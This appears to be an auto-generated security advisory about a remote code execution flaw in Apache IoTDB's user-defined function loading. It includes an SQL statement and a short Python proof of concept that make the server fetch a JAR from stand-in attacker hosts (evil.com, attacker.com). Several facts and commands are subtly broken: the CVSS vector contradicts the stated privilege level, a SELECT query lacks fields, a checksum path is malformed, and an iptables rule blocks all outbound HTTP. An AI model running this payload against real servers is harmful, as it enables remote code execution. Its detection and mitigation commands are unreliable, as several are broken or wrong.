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How the CVE Works:
The vulnerability (CVE-2025-XXXX) in Apache IoTDB allows remote code execution (RCE) via untrusted User-Defined Function (UDF) URIs. Attackers with UDF creation privileges can register malicious functions from external, uncontrolled sources. When IoTDB loads these functions, it executes arbitrary code with server privileges. The flaw exists due to insufficient URI validation in versions 1.0.0 to 1.3.3. Successful exploitation grants full system control, enabling data theft, service disruption, or further network compromise.
DailyCVE Form:
Platform: Apache IoTDB
Version: 1.0.0-1.3.3
Vulnerability: RCE via UDF
Severity: Critical
Date: May 14, 2025
What Undercode Say:
Exploitation:
- Attacker crafts a malicious JAR/Python UDF hosted on a remote server.
- Registers the UDF via IoTDB’s `CREATE FUNCTION` with the attacker-controlled URI:
CREATE FUNCTION exploit AS 'com.attacker.MaliciousFunc' USING URI 'http://evil.com/malware.jar';
3. IoTDB fetches/executes the payload upon UDF invocation.
Mitigation:
- Patch: Upgrade to IoTDB 1.3.4+.
- Workaround: Restrict UDF creation to trusted users; disable remote URIs via config:
iotdb.udf.lib.uri.enabled=false
Detection:
- Audit UDF registrations for external URIs:
SELECT FROM root.__system.udf;
- Monitor network traffic for unexpected downloads.
Exploit Code (PoC):
import requests
target = "http://iotdb:6667"
malicious_uri = "http://attacker.com/exploit.jar"
payload = f"CREATE FUNCTION pwn AS 'evil.Exploit' USING URI '{malicious_uri}'"
requests.post(f"{target}/executeQuery", data={"sql": payload})
Protection Commands:
- Block external URIs at firewall:
iptables -A OUTPUT -p tcp --dport 80 -j DROP
- Validate UDFs via checksums:
sha256sum /opt/iotdb/udf/.jar
Analytics:
- CVSS: 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
- Attack Vector: Network
- Privilege Required: Low (UDF creation rights)
- Patch Priority: Immediate.
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
